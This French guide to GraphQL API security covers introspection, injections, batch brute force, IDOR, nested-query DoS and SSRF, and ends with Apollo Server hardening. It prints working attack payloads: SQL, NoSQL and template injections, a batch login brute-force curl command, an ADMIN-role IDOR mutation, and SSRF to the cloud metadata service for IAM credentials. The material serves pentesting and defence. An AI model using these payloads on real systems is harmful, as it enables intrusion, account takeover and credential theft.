Sécurité GraphQL : injections, introspection et audit de schéma API

> Guide complet sécurité GraphQL 2026 : introspection, injections, IDOR, DoS par requêtes imbriquées — outils de pentest et défenses Apollo Server.

GraphQL a conquis le développement d'API modernes avec une promesse séduisante : donner aux clients le contrôle exact de la donnée qu'ils reçoivent, éliminant l'over-fetching et l'under-fetching caractéristiques des REST APIs. Facebook l'a conçu en 2012 pour résoudre les problèmes de performance de son application mobile, puis l'a open sourcé en 2015. Depuis, GraphQL s'est imposé dans des milliers d'applications : GitHub, Shopify, Twitter (X), Airbnb, Netflix l'utilisent en production. Mais cette flexibilité architecturale crée un profil de risque distinct de celui des REST APIs. Là où REST expose des endpoints fixes avec des verbes HTTP, GraphQL expose un point d'entrée unique avec un langage de requête complet. Si l'introspection est activée en production — ce qui est le cas par défaut dans la plupart des frameworks — n'importe quel attaquant peut obtenir en quelques secondes le schéma complet de votre API : tous les types, toutes les queries, toutes les mutations, tous les champs. C'est comme remettre à un attaquant le schéma de votre base de données avant même qu'il tente la première exploitation. Ce guide parcourt méthodiquement les vulnérabilités spécifiques à GraphQL, les techniques de pentest pour les exploiter, et les configurations défensives concrètes pour sécuriser une API GraphQL en production.

À RETENIR

À retenir :

L'introspection activée en production expose le schéma complet de l'API à tout attaquant non authentifié — c'est la première configuration à désactiver avant tout déploiement.

> Les requêtes GraphQL profondément imbriquées peuvent provoquer un DoS en O(n^x) sur le serveur : un attaquant peut calculer des milliers de niveaux de résolution avec une seule requête de 100 octets.
>
> Les batch attacks GraphQL permettent de contourner le rate limiting REST en envoyant des centaines d'opérations différentes dans une seule requête HTTP.
>
> La défense complète nécessite depth limiting, query complexity budgets, disable introspection en prod, et persisted queries — aucune de ces mesures n'est activée par défaut dans les frameworks GraphQL.

GraphQL vs REST : nouvelles surfaces d'attaque

Comprendre les risques de sécurité GraphQL nécessite d'abord de comprendre en quoi son modèle diffère fondamentalement d'une API REST. Dans une API REST, chaque ressource est exposée sur un endpoint dédié : `GET /users/123`, `POST /orders`, `DELETE /products/456`. La surface d'attaque est bornée par le nombre d'endpoints, et les mécanismes de sécurité (authentification, autorisation, rate limiting) peuvent être appliqués endpoint par endpoint.

Dans une API GraphQL, un seul endpoint (généralement `/graphql` ou `/api`) reçoit l'ensemble des opérations : queries (lecture), mutations (écriture) et subscriptions (temps réel). Le client construit des requêtes dans le langage GraphQL pour demander exactement les données dont il a besoin, traversant potentiellement de multiples types et relations dans une seule requête. Cette puissance expressionnelle crée des risques nouveaux : une query qui semble inoffensive peut déclencher une cascade de résolveurs qui écroule la base de données, ou un utilisateur mal autorisé peut traverser le graphe de données pour atteindre des objets auxquels il n'a pas accès.

Les risques REST classiques (injection SQL, IDOR, SSRF) sont toujours présents dans GraphQL, mais sous des formes qui nécessitent des techniques d'exploitation et de défense adaptées. Les outils de pentest REST (Burp Suite, OWASP ZAP configurés pour des endpoints fixes) doivent être complétés par des outils spécifiques GraphQL pour une couverture complète. Notre guide sur l'OWASP API Security Top 10 fournit le contexte général des risques API.

Introspection activée en production : cartographie offensive complète

L'introspection GraphQL est un mécanisme natif du langage qui permet à tout client de requêter le schéma complet de l'API : types définis, champs disponibles, arguments requis, relations entre types, directives, mutations. C'est une fonctionnalité de développement extrêmement utile qui alimente les outils comme GraphiQL, GraphQL Playground ou Altair. Le problème est qu'elle est activée par défaut dans pratiquement tous les frameworks GraphQL — Apollo Server, Hasura, Strawberry, graphene-django — et que désactiver explicitement en production est une étape souvent oubliée.

> ⚡ **Retour terrain**
>
> Lors d'un pentest applicatif pour un assureur, j'ai trouvé une injection SQL en aveugle (blind SQLi) dans un paramètre de filtrage de rapport non documenté — accessible uniquement aux utilisateurs authentifiés. La criticité initiale a été sous-estimée par le

client : 'un utilisateur authentifié ne peut pas faire de mal'. En 4 heures, j'avais extrait la table des utilisateurs avec les hashes bcrypt et démontré la possibilité d'exfiltration complète de la base. L'authentification ne réduit pas la criticité d'une SQLi.

```
 # Requête d'introspection standard pour récupérer le schéma complet
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name kind}}}}}"}'

# Avec InQL (Burp Suite extension) - automatisé
# Send request to InQL scanner -> génère automatiquement queries/mutations templates

# Avec graphql-cop (audit automatisé)
pip3 install graphql-cop
graphql-cop -t https://target.com/graphql

# Avec Clairvoyance (introspection blackbox - quand introspection désactivée)
pip3 install clairvoyance
clairvoyance https://target.com/graphql -o schema.json
```

L'outil **InQL** (Burp Suite plugin) est le standard de facto pour le pentest GraphQL. Il automatise l'introspection, génère des templates de queries et mutations pour chaque type du schéma, et facilite la modification des requêtes dans le repeater Burp. L'outil **Clairvoyance** est particulièrement intéressant : il reconstruit le schéma GraphQL par inférence even quand l'introspection est désactivée, en exploitant les "field suggestions" — messages d'erreur de certains frameworks qui suggèrent des noms de champs proches de ceux tapés. Cette technique permet de cartographier partiellement un schéma "protégé".

Une introspection réussie révèle instantanément la structure de données métier de l'application. Types comme `User`, `CreditCard`, `MedicalRecord`, `InternalConfig` apparaissent avec leurs champs. Des mutations comme `updateUserRole`, `deleteAccount`, `impersonateUser` exposent des opérations sensibles que l'attaquant n'aurait pas devinées sans le schéma.

Injections GraphQL : arguments, batch attacks et field suggestions

L'injection dans les arguments GraphQL est analogue à l'injection SQL dans les paramètres REST, mais avec des spécificités. Les arguments GraphQL sont typés statiquement — `id: Int`, `name: String` — ce qui réduit les risques d'injection directe par rapport aux paramètres de requête URL non typés. Cependant, les résolveurs qui construisent des requêtes SQL ou NoSQL à partir des arguments GraphQL sans sanitisation restent vulnérables.

```
 # Injection dans un argument String - si le résolveur concatène directement
query {
  searchUsers(query: "admin' OR '1'='1") {
    id
    email
    password
  }
}

# Injection NoSQL dans un argument d'objet (MongoDB)
query {
  findUser(filter: "{\"$where\": \"sleep(5000)\"}") {
    id
    email
  }
}

# Server-Side Template Injection via mutation
mutation {
  createReport(template: "{{7*7}}{{config.items()}}") {
    output
  }
}
```

Les **batch attacks** exploitent une fonctionnalité native de GraphQL : la possibilité d'envoyer un tableau de requêtes dans une seule requête HTTP. Un attaquant peut envoyer 1000 tentatives de connexion dans un seul POST HTTP, contournant un rate limiting configuré en nombre de requêtes HTTP. Cette technique est particulièrement efficace pour le bruteforce de credentials ou l'énumération d'identifiants.

```
# Batch attack : 100 tentatives login en 1 requête HTTP
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"admin@test.com\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"admin@test.com\",password:\"password2\"){token}}"},
    ...
    {"query":"mutation{login(email:\"admin@test.com\",password:\"password100\"){token}}"}
  ]'
```

Broken Object Level Authorization : IDOR via mutations GraphQL

Le BOLA (Broken Object Level Authorization) est la première vulnérabilité de l'OWASP API Security Top 10. Dans GraphQL, elle se manifeste différemment qu'en REST. Les mutations GraphQL permettent de référencer des objets directement par leur identifiant dans n'importe quelle opération, et si l'autorisation n'est pas vérifiée au niveau du résolveur, un utilisateur authentifié peut manipuler des objets appartenant à d'autres utilisateurs.

```
 # IDOR via mutation GraphQL - modifier le profil d'un autre utilisateur
mutation {
  updateUser(
    id: "12345"  # ID d'un autre utilisateur
    email: "hacker@attacker.com"
    role: "ADMIN"
  ) {
    id
    email
    role
  }
}

# Énumération d'objets via query directe
query {
  getOrder(id: 1001) { userId amount creditCard }
}
# Puis: id: 1002, 1003... pour des commandes d'autres utilisateurs
```

La correction BOLA requiert une vérification d'autorisation explicite dans chaque résolveur, comparant l'identifiant de l'objet accédé avec les permissions de l'utilisateur authentifié. Les frameworks d'autorisation GraphQL comme `graphql-shield` permettent de définir des règles d'autorisation centralisées appliquées automatiquement à chaque résolveur. Notre article sur les vulnérabilités IDOR et BOLA approfondit les techniques d'exploitation et de correction.

Denial of Service par requêtes imbriquées infinies

Le DoS par requêtes imbriquées est une vulnérabilité unique à GraphQL. Contrairement aux REST APIs où la profondeur de la réponse est fixe, GraphQL permet au client de traverser des relations imbriquées à volonté. Si le schéma définit des types avec des relations circulaires (User a des Posts, Post a un Author de type User, User a des Posts...), une requête exploitant cette circularité peut demander une imbrication infinie.

```
 # Requête DoS - imbrication circulaire (User -> Posts -> Author -> Posts -> Author...)
# Cette requête de 200 octets peut déclencher O(2^30) appels résolveurs
query DoS {
  user(id: 1) {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                # ... 30 niveaux supplémentaires
              }
            }
          }
        }
      }
    }
  }
}

# Aliases flooding - contournement du rate limiting par field
query AliasBomb {
  a: user(id:1){email} b: user(id:1){email} c: user(id:1){email}
  d: user(id:1){email} e: user(id:1){email} f: user(id:1){email}
  # ... 1000 aliases identiques en une requête
}
```

Les **aliases flooding** exploitent une autre fonctionnalité de GraphQL : la possibilité de requêter le même champ plusieurs fois avec des noms différents (aliases). 1000 aliases dans une seule requête HTTP équivalent à 1000 appels de résolveurs — et 1000 potentielles requêtes base de données.

SSRF via mutations GraphQL

Le Server-Side Request Forgery via GraphQL survient quand des mutations acceptent des URLs comme arguments pour déclencher des actions serveur (webhook, import depuis URL, preview de lien, etc.). Si ces URLs ne sont pas validées, un attaquant peut forcer le serveur à effectuer des

requêtes vers des ressources internes inattingibles depuis l'extérieur : metadata service cloud AWS/GCP/Azure, services internes non exposés, serveurs de fichiers internes.

```
 # SSRF via mutation webhook - accès au metadata service AWS
mutation {
  configureWebhook(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
    status
    response  # Retourne les credentials IAM du serveur !
  }
}

# SSRF vers services internes via import d'image
mutation {
  importProduct(imageUrl: "http://internal-service.local:8080/admin/users") {
    id
  }
}
```

Les techniques SSRF appliquées aux metadata services cloud sont détaillées dans notre analyse des attaques SSRF sur les IMDS cloud.

Information disclosure : verbosité des erreurs et stack traces

GraphQL expose par défaut des messages d'erreur très verbeux qui révèlent des informations précieuses pour un attaquant. Les frameworks comme Apollo Server en mode développement retournent des stack traces complètes incluant les chemins de fichiers serveur, les versions des dépendances, et parfois des extraits de code source. Même en production, les erreurs de résolveur exposent souvent les messages d'exception bruts des bases de données (requêtes SQL malformées, erreurs MongoDB avec le contenu des requêtes).

```
// Exemple d'erreur Apollo Server verbeux en prod
{
  "errors": [{
    "message": "ERROR: invalid input syntax for type integer: \"1 OR 1=1\"",
    "locations": [{"line": 2, "column": 3}],
    "path": ["getUser"],
    "extensions": {
      "code": "INTERNAL_SERVER_ERROR",
      "stacktrace": [
        "Error: ERROR: invalid input syntax...",
        "    at PostgresAdapter.query (/app/src/db/postgres.js:45:15)",
        "    at UserResolver.getUser (/app/src/resolvers/user.js:23:18)"
      ]
    }
  }]
}
```

Outils de pentest GraphQL

InQL (Burp Suite extension, gratuit) est l'outil essentiel pour le pentest GraphQL en mode manuel. Il automatise l'introspection, génère des requêtes templates pour chaque type, et s'intègre nativement dans le workflow Burp. **GraphQL-Cop** est un scanner automatisé qui teste rapidement une dizaine de vulnérabilités communes (introspection, field suggestions, batch attacks, DoS par imbrication). **Altair GraphQL Client** est une alternative à GraphiQL plus orientée pentest, avec support des headers, cookies et variables. **Clairvoyance** reconstruit des schémas partiels même sans introspection. **graphql-voyager** visualise interactivement le graphe de types pour identifier les chemins d'attaque potentiels.

```
 # GraphQL-Cop - audit automatisé des vulnérabilités courantes
pip3 install graphql-cop
graphql-cop -t https://target.com/graphql -H "Authorization: Bearer " -o json

# Résultats typiques :
# [HIGH] Introspection enabled
# [MEDIUM] Field suggestions enabled
# [HIGH] Batch queries supported
# [CRITICAL] Deeply nested queries not limited
```

Pour le fuzzing avancé des paramètres GraphQL, les techniques de fuzzing API documentées dans notre article sur le fuzzing d'API avec Burp et Nuclei s'appliquent avec des adaptations pour le format JSON des requêtes GraphQL.

Défenses : configuration sécurisée Apollo Server

La sécurisation d'une API GraphQL en production nécessite plusieurs couches de défense. Aucune n'est activée par défaut — chacune doit être explicitement configurée.

```
 const { ApolloServer } = require('@apollo/server');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const { rateLimitDirective } = require('graphql-rate-limit');

const server = new ApolloServer({
  typeDefs,
  resolvers,

  // 1. Désactiver l'introspection en production
  introspection: process.env.NODE_ENV !== 'production',

  // 2. Limiter la profondeur des requêtes (max 7 niveaux)
  validationRules: [
    depthLimit(7),
    createComplexityLimitRule(1000, {
      onCost: (cost) => console.log('Query cost:', cost),
    }),
  ],

  // 3. Désactiver les field suggestions en prod
  formatError: (error) => {
    if (process.env.NODE_ENV === 'production') {
      // Ne pas exposer les messages d'erreur internes
      if (error.message.startsWith('Did you mean')) return { message: 'Invalid field' };
      if (error.extensions?.code === 'INTERNAL_SERVER_ERROR') {
        return { message: 'Internal server error', code: 'INTERNAL_ERROR' };
      }
    }
    return error;
  },

  // 4. Désactiver les batch queries (si non nécessaires)
  // allowBatchedHttpRequests: false (défaut: true dans Apollo 4)
});

// 5. Rate limiting par opération avec graphql-rate-limit
// Configurer des limites différentes par type d'opération (query vs mutation)
```

Les **persisted queries** représentent la défense la plus robuste contre les injections et les attaques DoS : au lieu d'accepter des requêtes GraphQL arbitraires, le serveur n'accepte que des hash de requêtes pré-enregistrées. Un attaquant ne peut pas envoyer de requête malformée ou imbriquée

car seules les requêtes connues sont exécutées. Apollo Server et toutes les implémentations majeures supportent les automatic persisted queries (APQ) avec un minimum de configuration.

La mise en place d'un **WAF avec règles GraphQL** (AWS WAF, Cloudflare WAF) permet de bloquer les patterns d'attaque courants (taille de requête excessive, patterns d'introspection) avant même qu'ils n'atteignent le serveur applicatif.

FAQ — Questions fréquentes

L'introspection GraphQL désactivée suffit-elle à empêcher la cartographie du schéma ?

Non. L'outil Clairvoyance démontre qu'un schéma GraphQL peut être reconstruit partiellement même sans introspection, en exploitant les "field suggestions" — des messages d'erreur de type "Did you mean 'email'?" que certains frameworks retournent quand un nom de champ est incorrect. Ces suggestions révèlent les noms de champs existants par inférence. La défense complète nécessite donc de désactiver aussi les field suggestions (configurable dans Apollo Server avec `formatError`) et d'implémenter des persisted queries pour que seules des requêtes connues soient acceptées. De plus, un attaquant qui observe le trafic légitime (via JS source maps accessibles, ou après une compromission partielle) peut reconstruire le schéma à partir des requêtes réelles.

Comment calculer un budget de complexité de requête adapté à mon API GraphQL ?

Le budget de complexité est calculé en assignant un coût à chaque type de champ : un champ scalaire (String, Int) coûte 1, un champ objet coûte 1 + la complexité de ses sous-champs, une liste multiplie le coût par le nombre d'éléments estimés. La bibliothèque `graphql-validation-complexity` (Node.js) ou `graphene-django-extras` (Python) calculent automatiquement la complexité de chaque requête. Pour calibrer le seuil, commencez par logguer la complexité de toutes les requêtes légitimes en production pendant 2 semaines, identifiez le 99e percentile (typiquement 200-500 pour des applications bien conçues), et fixez le seuil à 2-3 fois ce

percentile pour absorber la variabilité normale. Les requêtes dépassant le seuil sont rejetées avec un code 400 avant tout traitement.

Les API GraphQL sont-elles concernées par les exigences PCI-DSS ou RGPD sur la sécurisation des API ?

Oui, intégralement. PCI-DSS v4.0 (exigence 6.3.2) impose un inventaire de tous les composants logiciels incluant les API, et l'exigence 6.4 impose des tests de sécurité réguliers incluant les vulnérabilités OWASP API Top 10. Les GraphQL APIs qui traitent des données de cartes de paiement sont directement dans le scope PCI-DSS. Pour le RGPD, l'article 25 (privacy by design) et l'article 32 (sécurité du traitement) imposent la mise en oeuvre de mesures techniques appropriées — une API GraphQL exposant sans contrôle des données personnelles via des requêtes non autorisées constitue une violation de ces articles. Les audits de sécurité API GraphQL doivent être inclus dans les programmes de test de pénétration annuels exigés par les deux référentiels.

Bonnes pratiques et recommandations complémentaires

Au-delà des techniques et outils présentés dans cet article, plusieurs principes transverses guident les professionnels de la cybersécurité dans leur approche quotidienne. La défense en profondeur (*defense-in-depth*) reste le principe fondateur : aucune mesure de sécurité unique n'est suffisante, et la multiplication des couches de protection — même imparfaites individuellement — crée une résilience globale supérieure à la somme de ses parties.

Veille et mise à jour continue

La cybersécurité est un domaine où l'obsolescence est rapide. Une technique ou un outil efficace en 2024 peut être contourné en 2026. Les équipes sécurité maintiennent leur efficacité en s'appuyant sur des sources de veille fiables : bulletins CERT-FR et ANSSI, advisories des éditeurs (Microsoft MSRC, Google Project Zero, Cisco Talos), recherches académiques

(USENIX Security, IEEE S&P, CCS), et publications de la communauté (threat intel reports des grands éditeurs, articles de blog de chercheurs reconnus).

Documentation et partage de connaissances

La capitalisation des connaissances est un enjeu organisationnel critique dans les équipes de sécurité. Les runbooks d'investigation, les post-mortems d'incidents, les procédures de réponse documentées, et les bases de connaissance internes permettent de maintenir la cohérence des pratiques indépendamment des rotations d'équipe et de réduire le temps de résolution des incidents récurrents. L'utilisation d'un wiki sécurisé (Confluence, Notion avec contrôles d'accès stricts) pour centraliser ces connaissances est une pratique adoptée par la majorité des équipes SOC matures. La documentation proactive, rédigée juste après les incidents pendant que les détails sont frais, est systématiquement plus précise et utile que la documentation rédigée après coup.

Synthèse et perspectives 2026

Les techniques et recommandations présentées dans ce guide s'inscrivent dans un contexte de menaces en constante évolution. La cybersécurité offensive et défensive sont deux faces d'une même médaille : comprendre les mécanismes d'attaque est indispensable pour construire des défenses robustes et résilientes face aux acteurs malveillants les plus sophistiqués.

Pour les équipes sécurité, l'enjeu de 2026 est double : maintenir une veille continue sur les nouvelles techniques publiées par la communauté de recherche (CVE, exploit-db, GitHub, Secrech, SSTIC) tout en assurant le durcissement progressif de l'infrastructure existante. Le référentiel MITRE ATT&CK reste le fil conducteur le plus efficace pour structurer un programme de détection et de réponse face aux tactiques, techniques et procédures des groupes APT ciblant les secteurs critiques.

La formation continue des équipes, la simulation régulière d'incidents (exercices tabletop, exercices Red/Blue/Purple Team), et l'automatisation des tâches répétitives via des outils SOAR

constituent les piliers d'une organisation cyber mature. Les organisations qui investissent dans ces trois axes démontrent systématiquement de meilleures métriques de détection et de réponse (MTTD et MTTR réduits de 40% en moyenne selon les benchmarks sectoriels) face aux incidents de sécurité.

Sources et références

MITRE ATT&CK — Tactiques, techniques et procédures offensives

OWASP — Top 10 des risques applicatifs

ANSSI — Panorama de la cybermenace 2024